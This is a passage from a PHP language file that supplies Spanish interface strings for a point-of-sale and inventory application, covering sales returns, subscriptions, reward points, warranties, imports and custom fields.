debido', 'sell_return_due' => 'Vender devolución vencida', 'total_sell_return_due' => 'Total de devolución de venta vencida', 'pay_sell_return_due' => 'Pago Vuelta Devolución Vencimiento', 'total_sell_return' => 'Total de devolución de venta', 'total_sell_return_paid' => 'Total de devolución de venta pagada', 'total_sell_return_inc_tax' => 'Total de devolución de venta incluyendo impuestos', 'tooltip_columnize_taxes_heading' => 'Introduzca el nombre de impuesto para los encabezados, el encabezado debe estar presente en el nombre de impuesto. Por ejemplo, los encabezados pueden ser: CGST, SGST, IGST y CESS. Para los nombres de impuestos CGST@8% o CGST@10%; SGST @ 10% o SGST@8% etc ', 'sales_payment_dues' => 'Pago de ventas vencido', 'purchase_payment_dues' => 'Pago de Compra Vencido', 'tooltip_sales_payment_dues' => "Pago pendiente de ventas. <br/> <small class = 'text-muted'> Basado en el plazo de pago de la factura. <br/> Mostrar pagos que se recibirán en 7 días o menos. </small>", 'edit_product_price_from_sale_screen' => 'Editar precio del producto desde la pantalla Venta', 'edit_product_discount_from_sale_screen' => 'Editar descuento de producto en la pantalla de venta', 'autosend_email' => 'Auto Enviar correo electrónico', 'autosend_sms' => 'Auto enviar SMS', 'enable_selected_contacts' => 'Restringir contactos seleccionados', 'tooltip_enable_selected_contacts' => 'Restrinja el acceso a los contactos seleccionados en el cuadro de búsqueda vendedor / compra cliente / proveedor', 'selected_contacts' => 'Seleccionar Contactos', 'view_role' => 'Ver rol', 'delete_role' => 'Eliminar rol', 'mail_driver' => 'Controlador de correo', 'disable_suspend_sale' => 'Desactivar suspender venta', 'suspend' => 'Suspender', 'suspend_note' => 'Suspender nota', 'suspend_sale' => 'Suspender venta', 'view_suspended_sales' => 'Ver ventas suspendidas', 'suspended_sales' => 'Ventas Suspendidas', 'tooltip_suspend' => 'Suspender ventas (pausa)', 'business_telephone' => 'Número de contacto comercial', 'accept_terms_and_conditions' => 'Aceptar Términos y Condiciones', 'terms_conditions' => 'Términos y condiciones', 'product_description' => 'Descripción del producto', 'click_here' => 'Haga clic aquí', 'for_more_info' => 'para más información', 'username_help' => 'Dejar en blanco para generar automáticamente el nombre de usuario', 'status_for_user' => 'Está activo ?', 'tooltip_enable_user_active' => 'Marcar / Desmarcar para que un usuario esté activo / inactivo.', 'user_inactive' => 'Lo siento, la cuenta está inactiva', 'calculator' => 'Calculadora', 'fields_for_customer_details' => 'Campos para detalles del cliente', 'show_previous_bal_due' => 'Mostrar saldo total adeudado (Todas las ventas)', 'previous_bal_due_help' => 'Marque este campo para mostrar la suma de las cuotas de saldo para todas las ventas del cliente si existe', 'all_sales' => 'Todas las ventas', 'current_sale' => 'Venta actual', 'view_invoice_url' => 'Ver URL de factura', 'copy' => 'Dupdo', 'extra_tags' => 'Etiquetas extra', 'date_time_format' => 'Formato de fecha y hora', 'all' => 'Todos', 'date_time_format_help' => "Ingrese el formato de fecha y hora en <a target='_blank' href='http://php.net/manual/en/function.date.php'>Formato datetime PHP</a>. Si se aplicará un formato de fecha y hora en blanco", 'detailed' => 'Detallado', 'grouped' => 'Agrupado (Por Fecha)', 'disable_recurring_invoice' => 'Deshabilitar factura recurrente', 'is_recurring' => 'Es recurrente', 'recurring_invoice_help' => 'Si se suscribe, esta factura se generará automáticamente a intervalos regulares. <br> Puede desactivar esta función en <code> Configuración> Configuración de negocio> Modules </code>', 'recurring_invoice' => 'Factura Recurrente', 'years' => 'Años', 'no_of_repetitions' => 'No. de repeticiones', 'recur_repetition_help' => 'Si la factura en blanco se generará infinitas veces', 'recurring_invoice_message' => 'Nueva factura generada para el número de suscripción: <i>:subscription_no</i>, Número de factura: <i>:invoice_no</i>', 'notifcation_count_msg' => 'Tienes :count notificaciones', 'no_notifications_found' => 'No se encontraron notificaciones', 'edit_multi_unit_help_text' => 'La edición de este valor cambiará las existencias de compra y venta en consecuencia', 'sale_price_is_minimum_sale_price' => 'El precio de venta es el precio de venta mínimo', 'minimum_sale_price_help' => 'Si está habilitado, en la pantalla POS o en la pantalla Ventas el precio de venta predeterminado será el precio de venta mínimo para el producto. No puede establecer un precio por debajo del precio de venta predeterminado', 'minimum_selling_price_error_msg' => 'El precio mínimo de venta es :price', 'lot_numbers_are_used_in_sale' => 'No se puede eliminar, algunos lotes de esta compra ya se han vendido', 'created_at' => 'Creado en', 'download' => 'Descargar', 'previous_file_will_be_replaced' => 'El archivo subido previamente será reemplazado', 'access_accounts' => 'Cuentas de acceso', 'payment_accounts' => 'Cuentas de pago', 'total_shipping_charges' => 'Total de gastos de envío', 'recurring_invoice_error_message' => 'No se puede crear la factura para el número de suscripción: <i>:subscription_no</i>. El stock requerido no está disponible para el producto <i>:product_name</i>', 'load_more' => 'Carga más', 'cash_flow' => 'Flujo de fondos', 'subscribe' => 'Suscribir', 'subscription_interval' => 'Intervalo de suscripción', 'enable_subscription' => 'Habilitar suscripción', 'subscription_no' => 'Habilitar suscripción', 'start_subscription' => 'Iniciar suscripción', 'stop_subscription' => 'Detener suscripción', 'subscriptions' => 'Suscripciones', 'generated_invoices' => 'Facturas Generadas', 'last_generated' => 'Último generado', 'upcoming_invoice' => 'Próxima factura', 'total_sales_return' => 'Total de devolución de ventas', 'subscription_invoice' => 'Factura de suscripción', 'subscribed_invoice' => 'Factura Suscrita', 'view_document' => 'Ver documento', 'invoice_url_help' => 'Enlace para ver la factura sin iniciar sesión.', 'unit_cannot_be_deleted' => 'Los productos existen con esta unidad; no se pueden eliminar', 'expiry_date_in_business_date_format' => 'Fecha de caducidad del stock en <b> Formato de fecha comercial </b>', 'product_stock_details' => 'Detalles del producto en stock', 'search' => 'Buscar', 'total_sold' => 'Total vendido', 'total_stock_available' => 'Stock total disponible', 'total_stock_transfered_to_the_location' => 'Stock total transferido a la ubicación', 'total_stock_transfered_from_the_location' => 'Stock total transferido desde el lugar', 'total_stock_calculated' => 'Stock total calculado', 'adjust_stock_mismatch' => 'Ajustar desajuste de stock', 'opening_balance_payments' => 'Pagos de saldo de apertura', 'enable_service_staff_in_product_line' => 'Habilitar personal de servicio en la línea de productos', 'inline_service_staff_tooltip' => 'Si está habilitado, se pueden asignar diferentes equipos de servicio para diferentes productos para un pedido / venta', 'line_orders' => 'Órdenes de línea', 'total_tax' => 'Total impuestos', 'total_discount' => 'Descuento total', 'net_price' => 'Precio neto', 'select_same_for_all_rows' => 'Seleccione el mismo valor para todos los productos', 'edited' => 'Editado', 'by' => 'Por', 'upload_documents' => 'Subir documentos', 'documents' => 'Documentos', 'click_to_print' => 'Haga clic para imprimir', 'deactivated_success' => 'Desactivado satisfactoriamente', 'products_could_not_be_deleted' => 'Algunos productos no se pudieron eliminar porque tiene transacciones relacionadas con ellos', 'price' => 'Precio', 'auto_backup_instruction' => 'Para habilitar la copia de seguridad automática y la limpieza de la copia de seguridad, debe configurar una tarea cron con este comando', 'gross_profit' => 'Beneficio bruto', 'single' => 'Soltero', 'variable' => 'Variable', 'total_purchase_price' => 'Precio total de compra', 'total_sell_price' => 'Precio de venta total', 'packing_slip' => 'Hoja de embalaje', 'use_superadmin_email_settings' => 'Usar configuraciones de correo electrónico del sistema', 'profit_by_products' => 'Beneficio por productos', 'profit_by_categories' => 'Beneficio por categorías', 'profit_by_brands' => 'Beneficio por marcas', 'profit_by_locations' => 'Beneficio por ubicaciones', 'profit_by_invoice' => 'Beneficio por factura', 'profit_by_date' => 'Beneficio por fecha', 'uncategorized' => 'Sin categorizar', 'add_purchase_return' => 'Agregar devolución de compra', 'edit_purchase_return' => 'Editar devolución de compra', 'purchase_return_updated_success' => 'Devolución de compra actualizada correctamente', 'profit_by_customer' => 'Beneficio por cliente', 'profit_by_day' => 'Beneficio por día', 'sunday' => 'Domingo', 'monday' => 'Lunes', 'tuesday' => 'Martes', 'wednesday' => 'Miércoles', 'thursday' => 'Jueves', 'friday' => 'Viernes', 'saturday' => 'Sábado', 'show_product_image' => 'Mostrar imagen del producto', 'view_user' => 'Ver usuario', 'allow_selected_contacts' => 'Permitir contactos seleccionados', 'allow_selected_contacts_tooltip' => 'Solo permitir el acceso a los contactos seleccionados en el cuadro de búsqueda de ventas / compras de clientes / proveedores', 'allowed_contacts' => 'Contactos permitidos', 'view_purchase_price' => 'Ver precio de compra', 'view_purchase_price_tooltip' => 'Permiso para ver el precio de compra en los detalles del producto, la transferencia de stock y el ajuste de stock', 'created' => 'Creado', 'updated' => 'Actualizado', 'deleted' => 'Eliminado', 'day' => 'Día', 'is_service_staff_required' => 'Se requiere personal de servicio', 'items_report' => 'Informe de elementos', 'purchase_price' => 'Precio de compra', 'sell_date' => 'Fecha de venta', 'returned' => 'regresó', 'dob' => 'Fecha de nacimiento', 'married' => 'Casado', 'unmarried' => 'Soltero', 'marital_status' => 'Estado civil', 'blood_group' => 'Grupo sanguíneo', 'divorced' => 'Divorciado', 'contact_no' => 'Número de contacto', 'fb_link' => 'Enlace de Facebook', 'twitter_link' => 'Enlace de Twitter', 'social_media' => 'Redes sociales :number', 'permanent_address' => 'Dirección permanente', 'current_address' => 'Direccion actual', 'guardian_name' => 'Nombre del tutor', 'custom_field' => 'Campo personalizado :number', 'bank_details' => 'Detalles del banco', 'account_holder_name' => 'Nombre del titular de la cuenta', 'account_number' => 'Número de cuenta', 'bank_name' => 'Nombre del banco', 'bank_code' => 'Código de identificación del banco', 'bank_code_help' => 'Un código único para identificar el banco en su país, por ejemplo: código IFSC', 'branch' => 'Rama', 'tax_payer_id' => 'Identificación fiscal', 'tax_payer_id_help' => 'Número de identificación fiscal del empleado, por ejemplo, tarjeta PAN en India', 'more_info' => 'Más información', 'id_proof_name' => 'Nombre de prueba de identificación', 'id_proof_number' => 'Número de prueba de identificación', 'view_own_sell_only' => 'Ver solo venta propia', 'reward_point_settings' => 'Configuración del punto de recompensa', 'enable_rp' => 'Habilitar punto de recompensa', 'rp_name' => 'Nombre para mostrar del punto de recompensa', 'amount_for_unit_rp' => 'Cantidad gastada por unidad de punto', 'min_order_total_for_rp' => 'Pedido mínimo total para ganar recompensa', 'max_rp_per_order' => 'Puntos máximos por pedido', 'earning_points_setting' => 'Configuración de puntos de ganancia', 'redeem_points_setting' => 'Canjear configuración de puntos', 'redeem_amount_per_unit_rp' => 'Canjear importe por unidad de punto', 'min_order_total_for_redeem' => 'Pedido mínimo total para canjear puntos', 'min_redeem_point' => 'Punto de canje mínimo', 'max_redeem_point' => 'Punto de canje máximo por pedido', 'rp_expiry_period' => 'Período de vencimiento del punto de recompensa', 'redeemed_amount' => 'Cantidad Canjeada', 'max_points_used' => 'Máximo se :points usar puntos puntos', 'reward_points' => 'Puntos de recompensa', 'max_reward_point_available' => 'Máximo :name disponible', 'min_reward_points_used' => 'Mínimo se puede usar el :name', 'redeemed' => 'Redimido', 'available' => 'Disponible', 'earned' => 'Ganado', 'total_reward_amount' => 'Recompensa total al cliente', 'ledger' => 'Libro mayor', 'type' => 'Tipo', 'show_payments' => 'Mostrar pagos', 'variation_images' => 'Imágenes de variación', 'file_deleted_successfully' => 'Archivo eliminado con éxito', 'combo' => 'Combo', 'not_for_selling' => 'No para vender', 'tooltip_not_for_selling' => 'Si está marcado, el producto no se mostrará en la pantalla de ventas para fines de venta', 'show_reward_point' => 'Mostrar punto de recompensa', 'enable_booking' => 'Habilitar reservas', 'bulk_edit' => 'Edición masiva', 'bulk_edit_products' => 'Productos de edición masiva', 'search_product_to_edit' => 'Buscar producto para editar', 'related_sub_units' => 'Subunidades relacionadas', 'sub_units_tooltip' => 'Según la unidad seleccionada, mostrará las subunidades correspondientes. Seleccione la subunidad correspondiente. Deje en blanco si todas las subunidades son aplicables para el producto', 'enable_sub_units' => 'Habilitar subunidades', 'added_on' => 'Añadido', 'quantity_mismatch_exception' => 'ERROR: NO PERMITIDO: No coincide entre la cantidad vendida y disponible. Producto: :product', 'roles_and_permissions' => 'Roles y permisos', 'admin_role_location_permission_help' => 'El administrador puede acceder a todas las ubicaciones', 'edit_product_price_from_pos_screen' => 'Editar precio del producto desde la pantalla POS', 'edit_product_discount_from_pos_screen' => 'Editar descuento del producto desde la pantalla POS', 'download_template_file' => 'Descargar archivo de plantilla', 'types_of_service' => 'Tipos de servicio', 'add_type_of_service' => 'Agregar tipo de servicio', 'packing_charge_type' => 'Tipo de carga de embalaje', 'packing_charge' => 'Cargo de embalaje', 'enable_custom_fields' => 'Habilitar campos personalizados', 'edit_type_of_service' => 'Editar tipo de servicio', 'types_of_service_help' => 'Tipo de servicio significa servicios como comida en casa, paquetería, entrega a domicilio, entrega a terceros, etc.', 'select_types_of_service' => 'Seleccionar tipos de servicio', 'service_custom_field_1' => 'Campo personalizado 1', 'service_custom_field_2' => 'Campo personalizado 2', 'service_custom_field_3' => 'Campo personalizado 3', 'service_custom_field_4' => 'Campo personalizado 4', 'default_selling_price_group' => 'Grupo de precio de venta predeterminado', 'location_price_group_help' => 'Este grupo de precios se utilizará como grupo de precios predeterminado en esta ubicación.', 'default_accounts' => 'Cuenta predeterminada', 'product_location_help' => 'Ubicaciones donde el producto estará disponible', 'available_in_locations' => 'Disponible en ubicaciones', 'enable' => 'Habilitar', 'payment_options' => 'Opciones de pago', 'pay_reference_no' => 'Pagar referencia no', 'search_settings' => 'Configuración de búsqueda', 'custom_labels' => 'Etiquetas personalizadas', 'labels_for_custom_payments' => 'Etiquetas para pagos personalizados', 'packed' => 'Lleno', 'shipped' => 'Enviado', 'delivered' => 'Entregado', 'shipping_address' => 'Dirección de Envío', 'shipping_status' => 'Estado del envío', 'delivered_to' => 'Entregado a', 'edit_shipping' => 'Editar envío', 'shipments' => 'Envíos', 'access_shipping' => 'Acceso de envío', 'uploaded_by' => 'Subido por', 'account_types' => 'Tipos de cuenta', 'add_account_type' => 'Agregar tipo de cuenta', 'parent_account_type' => 'Tipo de cuenta principal', 'edit_account_type' => 'Editar tipo de cuenta', 'account_type' => 'Tipo de cuenta', 'account_sub_type' => 'Subtipo de cuenta', 'enable_updating_product_price_tooltip' => 'Si el precio de compra del producto habilitado y el precio de venta se actualizarán después de agregar o actualizar una compra', 'default_datatable_page_entries' => 'Entradas de página predeterminadas de la tabla de datos', 'product_not_found_exception' => 'Producto con SKU :sku no encontrado en la fila :row', 'price_group_not_found_exception' => 'Grupo de precios con nombre :pg no encontrado en la fila :row', 'price_group_non_numeric_exception' => 'Precio no numérico encontrado en la fila :row', 'total_stock_price' => 'Valor actual de las acciones', 'test_email_configuration' => 'Enviar correo electrónico de prueba', 'email_tested_successfully' => 'Configuraciones de correo electrónico verificadas correctamente', 'test_number' => 'Número de prueba', 'test_sms_configuration' => 'Enviar SMS de prueba', 'test_number_is_required' => 'Se requiere número de prueba', 'import_contact_type_ins' => 'Opciones disponibles: <strong> <br> 1 = Cliente, <br> 2 = Proveedor <br> 3 = Ambos </strong>', 'enable_pos_transaction_date' => 'Habilitar fecha de transacción en la pantalla POS', 'amount_for_unit_rp_tooltip' => '<strong> Significa cuánto gastó el cliente para obtener puntos de recompensa. </strong> <br> <br> <strong> Ejemplo: </strong> Si lo configura como 10, entonces por cada $ 10 gastados por el cliente, obtendrá un punto de recompensa. Si el cliente compra por $ 1000, obtendrá 100 puntos de recompensa ', 'max_rp_per_order_tooltip' => 'Máximo de puntos de recompensa que el cliente puede ganar en una factura. Déjelo en blanco si no desea tales restricciones', 'min_order_total_for_rp_tooltip' => '<strong> La cantidad mínima que el cliente debe gastar para obtener puntos de recompensa. </strong> <br> <br> <strong> Ejemplo: </strong> Si lo establece en 100, el cliente obtendrá puntos de recompensa solo si hay el total de la factura es mayor o igual a 100. Si el total de la factura es 99, no obtendrán puntos de recompensa. <br> <br> Puede establecerlo como mínimo 1. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> Indica el monto de canje por punto. </strong> <br> <br> <strong> Por ejemplo: </strong> Si 1 punto es $ 1, ingrese el valor como 1. Si 2 puntos es $ 1, entonces ingrese el valor como 0.50 ', 'min_order_total_for_redeem_tooltip' => 'Total de pedido mínimo por el cual el cliente puede canjear puntos. Déjelo en blanco si no necesita esta restricción o si necesita dar algo gratis', 'min_redeem_point_tooltip' => 'Puntos de canje mínimos que se pueden usar por factura. Déjelo en blanco si no necesita esta restricción', 'max_redeem_point_tooltip' => 'Puntos máximos que se pueden usar en un orden. Déjelo en blanco si no necesita esta restricción', 'rp_expiry_period_tooltip' => '<strong> Período de vencimiento para los puntos ganados por el cliente. </strong> <br> <br> Puede configurarlo en meses o años. Los puntos vencidos se deducirán de la cuenta del cliente automáticamente después de este período', 'configure_product_search' => 'Configurar búsqueda de productos', 'search_products_by' => 'Buscar productos por', 'credit_sales' => 'Ventas a crédito', 'total_payment' => 'Pago total', 'deactivate_location' => 'Desactivar ubicación', 'activate_location' => 'Activar ubicación', 'business_location_activated_successfully' => 'Ubicación del negocio activada con éxito', 'business_location_deactivated_successfully' => 'Ubicación del negocio desactivada con éxito', 'show_credit_sale_button' => 'Mostrar botón de venta de crédito', 'show_credit_sale_btn_help' => 'Si el botón de venta de crédito habilitado se mostrará en lugar del botón Tarjeta en la pantalla de la posición', 'credit_sale' => 'Venta a crédito', 'tooltip_credit_sale' => 'Pago como venta a crédito', 'add_as_sub_txonomy' => 'Agregar como sub taxonomía', 'select_parent_taxonomy' => 'Seleccionar taxonomía principal', 'warranty' => 'Garantía', 'warranties' => 'Garantías', 'all_warranties' => 'Todas las garantías', 'add_warranty' => 'Añadir garantía', 'duration' => 'Duración', 'edit_warranty' => 'Editar garantía', 'enable_product_warranty' => 'Habilitar garantía', 'warranty_ends_on' => 'La garantía termina el', 'restaurant_module_settings' => 'Configuración del módulo de restaurante', 'warranty_module_settings' => 'Configuración del módulo de garantía', 'show_warranty_name' => 'Mostrar nombre de la garantía', 'show_warranty_exp_date' => 'Mostrar fecha de vencimiento de la garantía', 'show_warranty_description' => 'Mostrar descripción de la garantía', 'gender' => 'Género', 'male' => 'Masculino', 'female' => 'Mujer', 'others' => 'Otros', 'recent_transactions' => 'Transacciones Recientes', 'add_row' => 'Añadir fila', 'add_widget_here' => 'Agrega un widget aquí', 'move_row' => 'Mover la fila', 'configure_dashboard' => 'Configurar panel :name', 'change_return_label' => 'Cambiar etiqueta de devolución', 'change_return_help' => 'Cambiar devolución es la cantidad que se devolverá al cliente si se realiza un pago en exceso', 'profile_photo' => 'Foto de perfil', 'upload_image' => 'Cargar imagen', 'expense_tax' => 'Impuesto a los gastos', 'expense_tax_tooltip' => 'Impuesto total pagado a los gastos comerciales para el período de tiempo seleccionado', 'tax_overall' => 'General (Entrada - Salida - Gasto)', 'overdue' => 'Atrasado', 'partial-overdue' => 'Parcialmente atrasado', 'due_date_label' => 'Etiqueta de fecha de vencimiento', 'show_due_date' => 'Mostrar fecha de vencimiento', 'contact_custom_field1' => 'Campo personalizado 1', 'contact_custom_field2' => 'Campo personalizado 2', 'contact_custom_field3' => 'Campo personalizado 3', 'contact_custom_field4' => 'Campo personalizado 4', 'added_by' => 'Añadido por', 'authorized_signatory' => 'Firmante autorizado', 'no_location_access_found' => 'No se encontró acceso a la ubicación', 'location_custom_field1' => 'Campo personalizado 1', 'location_custom_field2' => 'Campo personalizado 2', 'location_custom_field3' => 'Campo personalizado 3', 'location_custom_field4' => 'Campo personalizado 4', 'user_custom_field1' => 'Campo personalizado 1', 'user_custom_field2' => 'Campo personalizado 2', 'user_custom_field3' => 'Campo personalizado 3', 'user_custom_field4' => 'Campo personalizado 4', 'logo_not_work_in_sms' => 'El logotipo de la empresa no funcionará en SMS', 'notification_email_tooltip' => 'Cadena separada por comas de correos electrónicos de destinatarios', 'heading' => 'Bóveda', 'updated_at' => 'Actualizado a las', 'documents_and_notes' => 'Documentos y notas', 'add_note' => 'Añadir la nota', 'edit_note' => 'Editar nota', 'is_private' => '¿Es privado?', 'private' => 'Privado', 'documents' => 'Documentos', 'note_will_be_visible_to_u_only' => 'La nota y el documento serán visibles solo para usted', 'activities' => 'Ocupaciones', 'no_limit' => 'Sin límite', 'contains_media' => 'Esta nota contiene medios', 'private_note' => 'Esta es una nota privada', 'amount_rounding_method' => 'Método de redondeo de cantidades', 'round_to_nearest_whole_number' => 'Redondear al número entero más cercano', 'round_to_nearest_decimal' => 'Redondear al decimal más cercano (múltiplo de :multiple)', 'amount_rounding_method_help' => 'Ejemplo: <br> <b> Redondear al número entero más cercano: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> Redondear al decimal más cercano (múltiplo de 0.05): </b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'Redondear', 'round_off_label' => 'Etiqueta redondeada', 'total_sell_round_off' => 'Venta total redondeada', 'user_info' => 'Informacion del usuario', 'enable_weighing_scale' => 'Habilitar escala de pesaje', 'weighing_scale_setting' => 'Configuración del código de barras de la báscula de pesaje', 'weighing_scale_setting_help' => 'Configure el código de barras según su báscula', 'weighing_barcode_prefix' => 'Prefijo', 'weighing_product_sku_length' => 'Longitud del sku del producto', 'weighing_qty_integer_part_length' => 'Cantidad entero longitud de parte', 'weighing_qty_fractional_part_length' => 'Cantidad fraccional de longitud parcial', 'weighing_scale' => 'Báscula', 'weighing_scale_barcode' => 'Código de barras de la balanza', 'weighing_scale_barcode_help' => 'Escanee el código de barras de la venta de pesaje y envíelo', 'prefix_did_not_match' => 'El prefijo no coincide', 'sku_not_match' => 'No se ha encontrado ningún producto con sku :sku', 'total_quantity_label' => 'Etiqueta de cantidad total', 'account_summary' => 'Resumen de la cuenta', 'ledger_table_heading' => 'Mostrando todas las facturas y pagos entre :start_date y :end_date', 'beginning_balance' => 'Saldo inicial', 'total_invoice' => 'Total de la factura', 'balance_due' => 'Saldo adeudado', 'send_ledger' => 'Enviar libro mayor', 'notifications' => 'Notificaciones', 'ledger_attacment_help' => 'Ledger se adjuntará en formato PDF con este correo electrónico', 'upload_module' => 'Módulo de carga', 'upload' => 'Subir', 'pls_upload_valid_zip_file' => 'Cargue un archivo zip válido', 'import_sales' => 'Ventas de importación', 'preview_imported_sales' => 'Vista previa de ventas importadas', 'customer_phone_number' => 'Número de teléfono del cliente', 'customer_email' => 'Correo electrónico del cliente', 'item_tax' => 'Impuesto de artículo', 'item_discount' => 'Descuento de artículo', 'item_description' => 'Descripción del Artículo', 'order_total' => 'Total del pedido', 'upload_and_review' => 'Cargar y revisar', 'group_sale_line_by' => 'Agrupar línea de venta por', 'import_sale_product_not_found' => 'Producto con nombre :product_name o sku :sku no encontrado en la fila :row', 'import_sale_tax_not_found' => 'Impuesto con nombre :tax_name no encontrado en la fila :row', 'email_or_phone_required' => 'Se requiere teléfono o correo electrónico del cliente', 'product_name_or_sku_is_required' => 'Se requiere el nombre del producto o SKU', 'quantity_is_required' => 'Se requiere cantidad', 'unit_price_is_required' => 'Se requiere precio unitario', 'sales_imported_successfully' => 'Ventas importadas con éxito', 'upload_data_in_excel_format' => 'Cargar datos de ventas en formato Excel', 'map_columns_with_respective_sales_fields' => 'Elija los campos de ventas respectivos para cada columna', 'choose_location_and_group_by' => 'Elija la ubicación del negocio y la columna por la que se agruparán las líneas de venta', 'date_format_instruction' => 'El formato de fecha y hora de venta debe ser Y-m-d H:i:s (2020-07-15 17:45:32)', 'product_name_single_only' => 'Nombre del producto (solo productos individuales o combinados)', 'product_sku' => 'SKU del producto', 'product_unit' => 'Unidad de producto', 'import_sale_unit_not_found' => 'Unidad con nombre :unit_name no encontrada en fila :row', 'types_of_servicet_not_found' => 'Tipos de servicio con nombre: no se encontraron tipos_de_nombre_servicio en la fila :row', 'email_or_phone_cannot_be_empty_in_row' => 'Se requiere teléfono o correo electrónico del cliente en la fila :row', 'product_cannot_be_empty_in_row' => 'Se requiere el nombre del producto o el SKU del producto en la fila :row', 'quantity_cannot_be_empty_in_row' => 'Se requiere la cantidad del producto en fila :row', 'unit_price_cannot_be_empty_in_row' => 'El precio unitario es obligatorio en la fila :row', 'imports' => 'Importaciones', 'invoices' => 'Facturas', 'import_batch' => 'Importar lote', 'import_time' => 'Tiempo de importación', 'cannot_select_a_field_twice' => 'No puede seleccionar un campo dos veces', 'revert_import' => 'Revertir importación', 'import_reverted_successfully' => 'Importación revertida con éxito', 'importable_fields' => 'Campos importables', 'sort_order' => 'Orden de clasificación', 'total_returned' => 'Total devuelto', 'skip' => 'OMITIR', 'group_by_tooltip' => 'Columna para agrupar líneas de venta en la misma factura', 'allowed_file' => 'Archivo permitido', 'detailed_with_purchase' => 'Detallado (Con la compra)', 'supplier_name' => 'Nombre del proveedor', 'purchase_ref_no' => 'No de referencia de compra', 'save_and_print' => 'Guardar e imprimir', 'update_and_print' => 'Actualizar e imprimir', 'all_your_discounts' => 'Todos sus descuentos', 'priority' => 'Prioridad', 'starts_at' => 'Empieza a', 'ends_at' => 'Termina en', 'used_for_browser_based_printing' => 'Utilizado para la impresión basada en navegador', 'hsn_or_category_code' => 'HSN o código de categoría', 'discounts' => 'Descuentos', 'allow_overselling' => 'Permitir sobreventa', 'view_own_purchase' => 'Ver solo compra propia', 'view_own_expense' => 'Ver solo los gastos propios', 'allow_login' => 'Permitir acceso', 'login_not_allowed' => 'Inicio de sesión no permitido', 'labels_for_contact_custom_fields' => 'Etiquetas para campos personalizados de contacto', 'labels_for_product_custom_fields' => 'Etiquetas para campos personalizados de producto', 'labels_for_purchase_custom_fields' => 'Etiqueta para comprar campos personalizados', 'labels_for_sell_custom_fields' => 'Etiquetas para vender campos personalizados', 'labels_for_location_custom_fields' => 'Etiquetas para campos personalizados de ubicación', 'labels_for_types_of_service_custom_fields' => 'Etiquetas para tipos de campos personalizados de servicio', 'labels_for_user_custom_fields' => 'Etiquetas para campos personalizados de usuario', 'total_transfer_shipping_charge' => 'Cargo total de envío de transferencia', 'total_purchase_shipping_charge' => 'Cargo total de envío de compra', 'total_sell_shipping_charge' => 'Total de gastos de envío de venta', 'opening_stock_location' => 'Ubicación de stock de apertura', 'product_locations_ins' => 'Cadena separada por comas de nombres de ubicaciones comerciales donde el producto estará disponible', 'product_locations' => 'Ubicaciones de productos', 'view_products' => 'Ver productos', 'pos_screen_featured_products' => 'Productos destacados de la pantalla POS', 'featured_products_help' => 'Los productos seleccionados se mostrarán en la parte superior de la sugerencia de producto de la pantalla pos para un acceso rápido', 'purchase_report' => 'Informe de compra', 'sale_report' => 'Informe de venta', 'payment_date' => 'Fecha de pago', 'year_month' => 'Año mes', 'lead' => 'Dirigir', 'featured_products' => 'Productos Destacados', 'repeat_on' => 'Repita en', 'access_tables' => 'Tablas de acceso', 'access_printers' => 'Impresoras de acceso', 'access_types_of_service' => 'Tipos de acceso al servicio', 'search_address' => 'Dirección de búsqueda', 'contact_locations' => 'Ubicaciones de contacto', 'map' => 'Mapa', 'both_customer_and_supplier' => 'Tanto cliente como proveedor', 'service' => 'Servicio', 'either_cust_email_or_phone_required' => 'Se requiere una identificación de correo electrónico del cliente o un número de teléfono', 'either_product_name_or_sku_required' => 'Se requiere el nombre del producto (solo para combo y único) o el sku del producto', 'show_invoice_scheme' => 'Mostrar esquema de factura', 'select_invoice_scheme' => 'Seleccionar esquema de factura', 'recurring_expense_help' => 'Si se marca, este gasto se generará automáticamente a intervalos regulares', 'recur_interval' => 'Intervalo recurrente', 'recur_expense_repetition_help' => 'Si el gasto en blanco se generará infinitas veces', 'recurring_expense_message' => 'Nuevo gasto recurrente generado. Ref. No .: <i>:ref_no </i>', 'recurring_expense' => 'Gastos recurrentes', 'generated_recurring_expense' => 'Gasto recurrente generado', 'select_contacts' => 'Seleccionar contactos', 'middle_name' => 'Segundo nombre', 'address_line_1' => 'Dirección Línea 1', 'address_line_2' => 'Línea de dirección 2', 'dob' => 'Fecha de nacimiento', 'dob_ins' => 'Formato Y-m-d', 'by_purchase_price' => 'Por precio de compra', 'by_sale_price' => 'Por precio de venta', 'potential_profit' => 'Beneficio potencial', 'apply_all' => 'Aplicar todo', 'hide_all_prices' => 'Ocultar todos los precios', 'select_invoice_layout' => 'Seleccionar diseño de factura', 'max_sales_discount_percent' => 'Porcentaje máximo de descuento de ventas', 'max_sales_discount_percent_help' => 'Porcentaje de descuento máximo que un usuario puede dar durante la venta. Déjelo en blanco sin restricciones', 'max_discount_error_msg' => 'Puede dar max: discount% de descuento por venta', 'show_invoice_layout' => 'Mostrar menú desplegable de diseño de factura', 'recurred_from' => 'Recurrido de', 'recur_details' => 'Detalles recurrentes', 'recurring' => 'Periódico', 'view_product_stock_value' => 'Ver valor de stock del producto', 'added' => 'Agregado', 'disable_credit_sale_button' => 'Botón de desactivación de la venta a crédito', 'pay' => 'Pagar', 'use_advance_balance' => 'Usar saldo anticipado', 'advance' => 'Anticipo', 'advance_balance' => 'Saldo anticipado', 'advance_payment' => 'Pago anticipado', 'required_advance_balance_not_available' => 'Saldo anticipado requerido no disponible', 'in_transit' => 'En tránsito', 'edit_stock_transfer' => 'Editar Transferencia de stock', 'completed_status_help' => 'La transferencia de stock no se podrá editar si el estado se completa', 'no_data' => 'Sin datos', 'sms_service' => 'Servicio SMS', 'nexmo_key' => 'Clave Nexmo', 'nexmo_secret' => 'Nexmo Secret', 'twilio_token' => 'Twilio Access Token', 'twilio_sid' => 'Twilio Account SID', 'upcoming' => 'Próximos', 'final' => 'Final', 'expense_for_contact' => 'Gastos por contacto', 'create' => 'Crear', 'waiting' => 'Esperando', 'sms_settings_header_key' => 'Encabezado: tecla numérica', 'sms_settings_header_val' => 'Encabezado: valor numérico', 'stock_adjustment_details' => 'Detalles del ajuste de existencias', 'stock_transfer_details' => 'Detalles de la transferencia de acciones', 'invoice_layout_for_pos' => 'Diseño de factura para POS', 'invoice_layout_for_sale' => 'Diseño de factura a la venta', 'invoice_layout_for_sale_tooltip' => 'Diseño de facturas para ventas directas', 'new_quotation' => 'Nueva cotización', 'new_quotation_notification' => 'Notificación de nueva cotización', 'view_quote_url' => 'Ver URL de cotización', 